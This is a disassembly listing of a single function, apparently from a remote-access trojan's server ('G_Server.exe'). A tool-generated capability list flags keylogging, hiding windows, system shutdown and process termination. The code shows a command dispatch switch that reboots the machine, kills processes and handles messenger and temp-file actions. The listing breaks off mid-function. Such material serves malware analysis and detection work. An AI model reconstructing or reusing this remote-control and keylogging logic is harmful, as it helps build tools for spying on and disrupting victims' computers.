Function at 0x413668
Capabilities:
Copy file
Create directory
Create process on windows
Delete file
Get common file path
Hide graphical window
Log keystrokes
Move file
Set file attributes
Shutdown system
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff3bc
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov dword [ebp - 0x4cc], eax
mov eax, 0x4924b0
call fcn.004696b8
mov dword [ebp - 0x4ac], 2
lea edx, [ebp - 4]
lea eax, [ebp - 4]
call fcn.00474b80
inc dword [ebp - 0x4ac]
lea edx, [ebp - 8]
mov word [ebp - 0x4b8], 8
lea eax, [ebp - 8]
call fcn.00474b80
inc dword [ebp - 0x4ac]
xor edx, edx
mov word [ebp - 0x4b8], 0x14
mov dword [ebp - 0xc], edx
xor ecx, ecx
inc dword [ebp - 0x4ac]
xor eax, eax
mov word [ebp - 0x4b8], 8
mov word [ebp - 0x4b8], 0x20
mov dword [ebp - 0x10], ecx
xor edx, edx
inc dword [ebp - 0x4ac]
xor ecx, ecx
mov word [ebp - 0x4b8], 8
mov word [ebp - 0x4b8], 0x2c
mov dword [ebp - 0x14], eax
xor eax, eax
inc dword [ebp - 0x4ac]
mov word [ebp - 0x4b8], 8
mov word [ebp - 0x4b8], 0x38
mov dword [ebp - 0x18], edx
inc dword [ebp - 0x4ac]
mov word [ebp - 0x4b8], 8
mov word [ebp - 0x4b8], 0x44
mov dword [ebp - 0x1c], ecx
xor ecx, ecx
inc dword [ebp - 0x4ac]
mov word [ebp - 0x4b8], 8
mov word [ebp - 0x4b8], 0x50
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x24]
inc dword [ebp - 0x4ac]
mov word [ebp - 0x4b8], 8
mov word [ebp - 0x4b8], 0x5c
mov edx, dword [ebp - 4]
push edx
mov dword [ebp - 0x24], ecx
push eax
inc dword [ebp - 0x4ac]
call fcn.0040b3e8
add esp, 8
lea edx, [ebp - 0x24]
lea eax, [ebp - 4]
call fcn.00474d74
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x24]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0x68
mov edx, str._n_n_n_n_n_n
lea eax, [ebp - 0x28]
call fcn.00474b48
inc dword [ebp - 0x4ac]
lea edx, [ebp - 0x28]
lea eax, [ebp - 4]
call fcn.00474edc
mov ebx, eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0x74
xor ecx, ecx
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], ecx
push eax
inc dword [ebp - 0x4ac]
lea eax, [ebp - 4]
lea ecx, [ebx - 1]
mov edx, 1
call fcn.00474f88
lea edx, [ebp - 0x2c]
lea eax, [ebp - 0xc]
call fcn.00474d74
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x2c]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0x80
xor ecx, ecx
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], ecx
push eax
inc dword [ebp - 0x4ac]
lea eax, [ebp - 4]
call fcn.00474e58
mov ecx, eax
sub ecx, ebx
lea edx, [ebx + 1]
lea eax, [ebp - 4]
call fcn.00474f88
lea edx, [ebp - 0x30]
lea eax, [ebp - 4]
call fcn.00474d74
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x30]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0x8c
mov edx, 0x48c9db
lea eax, [ebp - 0x34]
call fcn.00474b48
inc dword [ebp - 0x4ac]
lea edx, [ebp - 0x34]
lea eax, [ebp - 4]
call fcn.00474edc
mov ebx, eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x34]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0x98
xor ecx, ecx
lea eax, [ebp - 0x38]
mov dword [ebp - 0x38], ecx
push eax
inc dword [ebp - 0x4ac]
lea eax, [ebp - 4]
lea ecx, [ebx - 1]
mov edx, 1
call fcn.00474f88
lea edx, [ebp - 0x38]
lea eax, [ebp - 0x10]
call fcn.00474d74
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x38]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0xa4
xor ecx, ecx
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], ecx
push eax
inc dword [ebp - 0x4ac]
lea eax, [ebp - 4]
call fcn.00474e58
mov ecx, eax
sub ecx, ebx
lea edx, [ebx + 1]
lea eax, [ebp - 4]
call fcn.00474f88
lea edx, [ebp - 0x3c]
lea eax, [ebp - 4]
call fcn.00474d74
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x3c]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0xb0
mov edx, 0x48c9dd
lea eax, [ebp - 0x40]
call fcn.00474b48
inc dword [ebp - 0x4ac]
lea edx, [ebp - 0x40]
lea eax, [ebp - 4]
call fcn.00474edc
mov ebx, eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x40]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0xbc
xor ecx, ecx
lea eax, [ebp - 0x44]
mov dword [ebp - 0x44], ecx
push eax
inc dword [ebp - 0x4ac]
lea eax, [ebp - 4]
lea ecx, [ebx - 1]
mov edx, 1
call fcn.00474f88
lea edx, [ebp - 0x44]
lea eax, [ebp - 0x14]
call fcn.00474d74
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x44]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0xc8
xor ecx, ecx
lea eax, [ebp - 0x48]
mov dword [ebp - 0x48], ecx
push eax
inc dword [ebp - 0x4ac]
lea eax, [ebp - 4]
call fcn.00474e58
mov ecx, eax
sub ecx, ebx
lea edx, [ebx + 1]
lea eax, [ebp - 4]
call fcn.00474f88
lea edx, [ebp - 0x48]
lea eax, [ebp - 4]
call fcn.00474d74
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0xd4
mov edx, 0x48c9df
lea eax, [ebp - 0x4c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
lea edx, [ebp - 0x4c]
lea eax, [ebp - 4]
call fcn.00474edc
mov ebx, eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x4c]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0xe0
xor ecx, ecx
lea eax, [ebp - 0x50]
mov dword [ebp - 0x50], ecx
push eax
inc dword [ebp - 0x4ac]
lea eax, [ebp - 4]
lea ecx, [ebx - 1]
mov edx, 1
call fcn.00474f88
lea edx, [ebp - 0x50]
lea eax, [ebp - 0x18]
call fcn.00474d74
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x50]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0xec
xor ecx, ecx
lea eax, [ebp - 0x54]
mov dword [ebp - 0x54], ecx
push eax
inc dword [ebp - 0x4ac]
lea eax, [ebp - 4]
call fcn.00474e58
mov ecx, eax
sub ecx, ebx
lea edx, [ebx + 1]
lea eax, [ebp - 4]
call fcn.00474f88
lea edx, [ebp - 0x54]
lea eax, [ebp - 0x1c]
call fcn.00474d74
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x54]
mov edx, 2
call fcn.00474d44
mov edx, 0x1e26
mov eax, dword [ebp - 0x14]
call fcn.0045f76c
mov word [ebp - 0x4ce], ax
mov edx, 0x722
mov eax, dword [ebp - 0x18]
call fcn.0045f76c
mov word [ebp - 0x4d0], ax
xor edx, edx
mov eax, dword [ebp - 0x10]
call fcn.0045f76c
mov word [ebp - 0x4b8], 8
mov edi, eax
mov eax, dword [0x455850]
mov dl, 1
call fcn.00419be8
mov dword [ebp - 0x4d4], eax
mov dl, 1
mov eax, dword [0x455850]
call fcn.00419be8
mov word [ebp - 0x4b8], 0xf8
mov esi, eax
lea eax, [ebp - 0x58]
mov edx, 0x48c9e1
call fcn.00474b48
inc dword [ebp - 0x4ac]
lea edx, [ebp - 0x58]
lea eax, [ebp - 0x1c]
call fcn.00474edc
mov ebx, eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x58]
mov edx, 2
call fcn.00474d44
test ebx, ebx
je 0x413c6e
mov word [ebp - 0x4b8], 0x104
xor ecx, ecx
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x5c], ecx
push eax
inc dword [ebp - 0x4ac]
lea eax, [ebp - 0x1c]
lea ecx, [ebx - 1]
mov edx, 1
call fcn.00474f88
lea edx, [ebp - 0x5c]
lea eax, [ebp - 0x20]
call fcn.00474d74
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x5c]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0x110
xor ecx, ecx
lea eax, [ebp - 0x60]
mov dword [ebp - 0x60], ecx
push eax
inc dword [ebp - 0x4ac]
lea eax, [ebp - 0x1c]
call fcn.00474e58
mov ecx, eax
lea eax, [ebp - 0x1c]
sub ecx, ebx
lea edx, [ebx + 1]
inc ecx
call fcn.00474f88
lea edx, [ebp - 0x60]
lea eax, [ebp - 0x1c]
call fcn.00474d74
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x60]
mov edx, 2
call fcn.00474d44
mov edx, dword [ebp - 0x20]
mov eax, esi
call fcn.004578d8
mov word [ebp - 0x4b8], 0x11c
mov edx, 0x48c9e3
lea eax, [ebp - 0x64]
call fcn.00474b48
inc dword [ebp - 0x4ac]
lea edx, [ebp - 0x64]
lea eax, [ebp - 0x1c]
call fcn.00474edc
mov ebx, eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x64]
mov edx, 2
call fcn.00474d44
test ebx, ebx
jne 0x413b8c
mov edx, dword [ebp - 0x1c]
mov eax, esi
call fcn.004578d8
mov cl, 1
mov dl, 1
mov eax, dword [0x495690]
call fcn.0041df34
mov ebx, eax
mov word [ebp - 0x4b8], 8
mov byte [ebx + 0xe], 1
lea edx, [ebp - 8]
lea eax, [ebx + 0x30]
call fcn.00474d74
mov cx, word [ebp - 0x4ce]
mov word [ebx + 0x34], cx
mov ax, word [ebp - 0x4d0]
mov word [ebx + 0x36], ax
mov dword [ebx + 0x38], edi
mov eax, dword [ebx + 0x2c]
mov edx, esi
mov ecx, dword [eax]
call dword [ecx + 0x3c]
mov edx, 0x49b128
lea eax, [ebp - 0xc]
call fcn.00474e40
test al, al
je 0x413d6b
mov word [ebp - 0x4b8], 0x128
mov edx, 0x48c9e5
lea eax, [ebp - 0x68]
call fcn.00474b48
inc dword [ebp - 0x4ac]
lea edx, [ebp - 0x68]
lea eax, [ebp - 0xc]
call fcn.00474e40
test al, al
lea eax, [ebp - 0x68]
setne cl
and ecx, 1
mov edx, 2
push ecx
dec dword [ebp - 0x4ac]
call fcn.00474d44
pop ecx
test ecx, ecx
je 0x413d6b
mov word [ebp - 0x4b8], 0x134
mov edx, 0x48c9ee
lea eax, [ebp - 0x6c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x6c]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
cmp edi, 0x150a
jg 0x413edf
je 0x415801
cmp edi, 0x1305
jg 0x413e38
je 0x4177bf
cmp edi, 0x110a
jg 0x413dd7
je 0x416ef7
add edi, 0xffffeeff
cmp edi, 8
ja case.default.0x413f72
jmp dword [edi*4 + 0x413db3]
cmp edi, 0x1205
jg 0x413e12
je 0x416028
sub edi, 0x110b
je 0x417095
sub edi, 0xf6
je 0x415a68
sub edi, 2
je 0x415c87
dec edi
je 0x415e05
jmp case.default.0x413f72
sub edi, 0x1301
je 0x417233
dec edi
je 0x417394
dec edi
je 0x4174fd
dec edi
je 0x41765e
jmp case.default.0x413f72
cmp edi, 0x1404
jg 0x413ea5
je 0x4186e9
cmp edi, 0x130a
jg 0x413e7a
je 0x417e77
sub edi, 0x1306
je 0x41794f
dec edi
je 0x417ac7
dec edi
je 0x417bda
dec edi
je 0x417d0e
jmp case.default.0x413f72
sub edi, 0x130b
je 0x418020
sub edi, 0xf6
je 0x4181c6
dec edi
je 0x418418
dec edi
je 0x4185c9
jmp case.default.0x413f72
add edi, 0xffffeaff
cmp edi, 8
ja case.default.0x413f72
jmp dword [edi*4 + 0x413ebb]
cmp edi, 0x170e
jg 0x413f9d
je 0x418a85
cmp edi, 0x1704
jg 0x413f63
je 0x414597
cmp edi, 0x1603
jg 0x413f38
je 0x414eec
sub edi, 0x150b
je 0x4158cb
dec edi
je 0x415995
sub edi, 0xf5
je 0x414d01
dec edi
je 0x414e83
jmp case.default.0x413f72
sub edi, 0x1604
je 0x414fad
dec edi
je 0x415104
sub edi, 0xfc
je 0x4143a8
dec edi
je 0x41449b
jmp case.default.0x413f72
add edi, 0xffffe8fb
cmp edi, 8
ja case.default.0x413f72
jmp dword [edi*4 + 0x413f79]
cmp edi, 0x1807
jg 0x41400c
je 0x419720
cmp edi, 0x1713
jg 0x413fdf
je 0x4142b6
sub edi, 0x170f
je 0x418dee
dec edi
je 0x41415a
dec edi
je 0x41405f
dec edi
je 0x41425b
jmp case.default.0x413f72
sub edi, 0x1714
je 0x419387
dec edi
je 0x4193e9
sub edi, 0xed
je 0x419617
sub edi, 2
je 0x41967b
jmp case.default.0x413f72
cmp edi, 0x1901
jg 0x414040
je 0x4147c1
sub edi, 0x1808
je 0x4197c4
dec edi
je 0x41986b
dec edi
je 0x419912
dec edi
je 0x4199b9
jmp case.default.0x413f72
sub edi, 0x1902
je 0x4148fe
dec edi
je 0x414a10
dec edi
je 0x414bc2
jmp case.default.0x413f72
mov word [ebp - 0x4b8], 0x140
mov edx, 0x48ca06
lea eax, [ebp - 0x70]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x70]
mov edx, 2
call fcn.00474d44
push 0
push 6
call sub.USER32.DLL_ExitWindowsEx
test eax, eax
jne 0x4140f8
mov word [ebp - 0x4b8], 0x14c
mov edx, 0x48ca1a
lea eax, [ebp - 0x74]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x74]
mov edx, 2
call fcn.00474d44
mov cl, byte [0x48a754]
test cl, cl
je 0x419a93
mov word [ebp - 0x4b8], 0x158
mov edx, 0x48ca28
lea eax, [ebp - 0x78]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x78]
mov edx, 2
call fcn.00474d44
push 0xffffffffffffffff
push 0
call sub.USER32.DLL_ExitWindowsEx
jmp 0x419a93
mov word [ebp - 0x4b8], 0x164
mov edx, 0x48ca3c
lea eax, [ebp - 0x7c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x7c]
mov edx, 2
call fcn.00474d44
push 8
push 5
call sub.USER32.DLL_ExitWindowsEx
test eax, eax
jne 0x4141f3
mov word [ebp - 0x4b8], 0x170
mov edx, 0x48ca4c
lea eax, [ebp - 0x80]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x80]
mov edx, 2
call fcn.00474d44
mov cl, byte [0x48a754]
test cl, cl
je 0x419a93
mov word [ebp - 0x4b8], 0x17c
mov edx, 0x48ca5a
lea eax, [ebp - 0x84]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x84]
mov edx, 2
call fcn.00474d44
push 0xffffffffffffffff
push 0
call sub.USER32.DLL_ExitWindowsEx
jmp 0x419a93
mov word [ebp - 0x4b8], 0x188
mov edx, 0x48ca6a
lea eax, [ebp - 0x88]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x88]
mov edx, 2
call fcn.00474d44
mov eax, dword [sym.G_Server.exe__MainForm]
call fcn.0040f900
jmp 0x419a93
call fcn.00410684
mov word [ebp - 0x4b8], 0x194
mov edx, 0x48ca99
lea eax, [ebp - 0x8c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov edx, dword [eax]
push edx
mov cx, word [ebp - 0x4ce]
push ecx
mov eax, dword [ebp - 8]
push eax
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x8c]
mov edx, 2
call fcn.00474d44
mov edi, 0x48cab7
mov word [ebp - 0x4b8], 8
mov eax, 0x49b124
call fcn.00474e58
test eax, eax
je 0x414341
mov edx, dword [0x49b124]
test edx, edx
je 0x414335
mov edx, dword [0x49b124]
jmp 0x41433a
mov edx, 0x48cac2
mov eax, edi
call fcn.0045fc94
push edi
push 0
call sub.USER32.DLL_FindWindowA
test eax, eax
je 0x419a93
xor ecx, ecx
lea edx, [ebp - 0x4d8]
mov dword [ebp - 0x4d8], ecx
push edx
push eax
call sub.USER32.DLL_GetWindowThreadProcessId
lea eax, [ebp - 0x4dc]
push eax
mov ecx, dword [ebp - 0x4d8]
push ecx
push 1
push 0x400
call sub.KERNEL32.DLL_OpenProcess
push eax
call sub.KERNEL32.DLL_GetExitCodeProcess
mov eax, dword [ebp - 0x4dc]
push eax
mov edx, dword [ebp - 0x4d8]
push edx
push 1
push 1
call sub.KERNEL32.DLL_OpenProcess
push eax
call sub.KERNEL32.DLL_TerminateProcess
jmp 0x419a93
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x4e0], ecx
mov dword [ebp - 0x4e4], 0xffffffff
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x414416
mov word [ebp - 0x4b8], 0x1a0
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x90], ecx
lea ecx, [ebp - 0x90]
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x90]
xor edx, edx
mov eax, dword [eax]
call fcn.0045f76c
mov dword [ebp - 0x4e0], eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x90]
mov edx, 2
call fcn.00474d44
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
jle 0x414477
mov word [ebp - 0x4b8], 0x1ac
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x94], ecx
lea ecx, [ebp - 0x94]
inc dword [ebp - 0x4ac]
mov edx, 1
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x94]
mov edx, 0x32
mov eax, dword [eax]
call fcn.0045f76c
mov dword [ebp - 0x4e4], eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x94]
mov edx, 2
call fcn.00474d44
mov ecx, dword [ebx + 0x28]
push ecx
mov eax, dword [ebp - 0x4e4]
push eax
mov edx, dword [ebp - 0x4e0]
push edx
push 0xc9
call fcn.0040a960
add esp, 0x10
jmp 0x419a93
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x4e8], ecx
mov word [ebp - 0x4b8], 8
mov dword [ebp - 0x4ec], 0xffffffff
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x414512
mov word [ebp - 0x4b8], 0x1b8
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x98], ecx
lea ecx, [ebp - 0x98]
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x98]
xor edx, edx
mov eax, dword [eax]
call fcn.0045f76c
mov dword [ebp - 0x4e8], eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x98]
mov edx, 2
call fcn.00474d44
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
jle 0x414573
mov word [ebp - 0x4b8], 0x1c4
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x9c], ecx
lea ecx, [ebp - 0x9c]
inc dword [ebp - 0x4ac]
mov edx, 1
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x9c]
mov edx, 0x32
mov eax, dword [eax]
call fcn.0045f76c
mov dword [ebp - 0x4ec], eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x9c]
mov edx, 2
call fcn.00474d44
mov ecx, dword [ebx + 0x28]
push ecx
mov eax, dword [ebp - 0x4ec]
push eax
mov edx, dword [ebp - 0x4e8]
push edx
push 0xca
call fcn.0040a960
add esp, 0x10
jmp 0x419a93
mov word [ebp - 0x4b8], 0x1d0
mov edx, 0x48cac3
lea eax, [ebp - 0xa0]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0xa0]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x1dc
mov edx, 0x48cad1
lea eax, [ebp - 0xa4]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0xa4]
mov edx, 2
call fcn.00474d44
lea edx, [ebp - 8]
mov eax, dword [sym.G_Server.exe__MessengerForm]
mov eax, dword [eax]
add eax, 0x2f0
call fcn.00474d74
mov edx, dword [sym.G_Server.exe__MessengerForm]
mov ecx, dword [edx]
mov ax, word [ebp - 0x4ce]
mov word [ecx + 0x2f4], ax
xor edx, edx
mov dword [ebp - 0x4f0], edx
mov word [ebp - 0x4b8], 8
jmp 0x414714
mov word [ebp - 0x4b8], 0x1e8
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0xa8], ecx
lea ecx, [ebp - 0xa8]
inc dword [ebp - 0x4ac]
mov edi, dword [eax]
mov edx, dword [ebp - 0x4f0]
call dword [edi + 0xc]
lea edx, [ebp - 0xa8]
xor eax, eax
mov dword [ebp - 0xac], eax
lea ecx, [ebp - 0xac]
inc dword [ebp - 0x4ac]
mov eax, 0x48cadf
call fcn.00475018
mov eax, dword [sym.G_Server.exe__MessengerForm]
lea edx, [ebp - 0xac]
mov ecx, dword [eax]
mov edx, dword [edx]
mov eax, dword [ecx + 0x2c4]
mov eax, dword [eax + 0x204]
call fcn.004578d8
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0xac]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0xa8]
mov edx, 2
call fcn.00474d44
inc dword [ebp - 0x4f0]
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0x14]
add eax, 0xfffffffe
mov ecx, dword [ebp - 0x4f0]
cmp eax, ecx
jg 0x414674
mov word [ebp - 0x4b8], 0x1f4
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0x14]
mov edx, eax
xor eax, eax
mov dword [ebp - 0xb0], eax
add edx, 0xfffffffe
inc dword [ebp - 0x4ac]
mov eax, esi
lea ecx, [ebp - 0xb0]
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [sym.G_Server.exe__MessengerForm]
lea edx, [ebp - 0xb0]
mov ecx, dword [eax]
mov edx, dword [edx]
mov eax, dword [ecx + 0x2c4]
mov eax, dword [eax + 0x204]
call fcn.004578d8
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0xb0]
mov edx, 2
call fcn.00474d44
push 0
call sub.USER32.DLL_MessageBeep
mov ecx, dword [sym.G_Server.exe__MessengerForm]
mov eax, dword [ecx]
mov dl, byte [eax + 0x16c]
test dl, dl
jne 0x419a93
mov ecx, dword [sym.G_Server.exe__MessengerForm]
mov eax, dword [ecx]
call fcn.0043e2d0
jmp 0x419a93
mov edx, dword [0x48a698]
test edx, edx
jne 0x4148ad
mov word [ebp - 0x4b8], 8
lea eax, [ebp - 0x624]
mov edi, 0x48cae2
push eax
push 0x100
call sub.KERNEL32.DLL_GetTempPathA
lea eax, [ebp - 0x624]
mov edx, edi
call fcn.0045fd60
lea ecx, [ebp - 0x624]
push ecx
call fcn.0040878c
pop ecx
dec eax
jne 0x41485c
mov word [ebp - 0x4b8], 0x200
mov edx, 0x48caea
lea eax, [ebp - 0xb4]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0xb4]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x20c
mov edx, 0x48cafc
lea eax, [ebp - 0xb8]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0xb8]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x218
mov edx, 0x48cb0e
lea eax, [ebp - 0xbc]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0xbc]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov ecx, dword [0x48a698]
test ecx, ecx
je 0x4149bf
call fcn.004087d0
mov word [ebp - 0x4b8], 8
dec eax
jne 0x41496e
mov word [ebp - 0x4b8], 0x224
mov edx, 0x48cb20
lea eax, [ebp - 0xc0]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0xc0]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x230
mov edx, 0x48cb32
lea eax, [ebp - 0xc4]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0xc4]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x23c
mov edx, 0x48cb44
lea eax, [ebp - 0xc8]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0xc8]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
lea ecx, [ebp - 0x724]
push ecx
push 0x100
call sub.KERNEL32.DLL_GetTempPathA
mov edx, 0x48cb56
lea eax, [ebp - 0x724]
call fcn.0045fd60
mov ecx, dword [0x48a698]
test ecx, ecx
je 0x414a8c
mov word [ebp - 0x4b8], 0x248
mov edx, 0x48cb5e
lea eax, [ebp - 0xcc]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0xcc]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x254
lea edx, [ebp - 0x724]
lea eax, [ebp - 0xd0]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov eax, dword [eax]
call fcn.0045f8bc
push eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0xd0]
mov edx, 2
call fcn.00474d44
pop ecx
test cl, cl
je 0x414b12
mov word [ebp - 0x4b8], 0x260
lea edx, [ebp - 0x724]
lea eax, [ebp - 0xd4]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov edx, dword [eax]
mov eax, dword [ebp - 0x4d4]
mov ecx, dword [eax]
call dword [ecx + 0x58]
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0xd4]
mov edx, 2
call fcn.00474d44
mov eax, dword [ebp - 0x4d4]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
jge 0x414b71
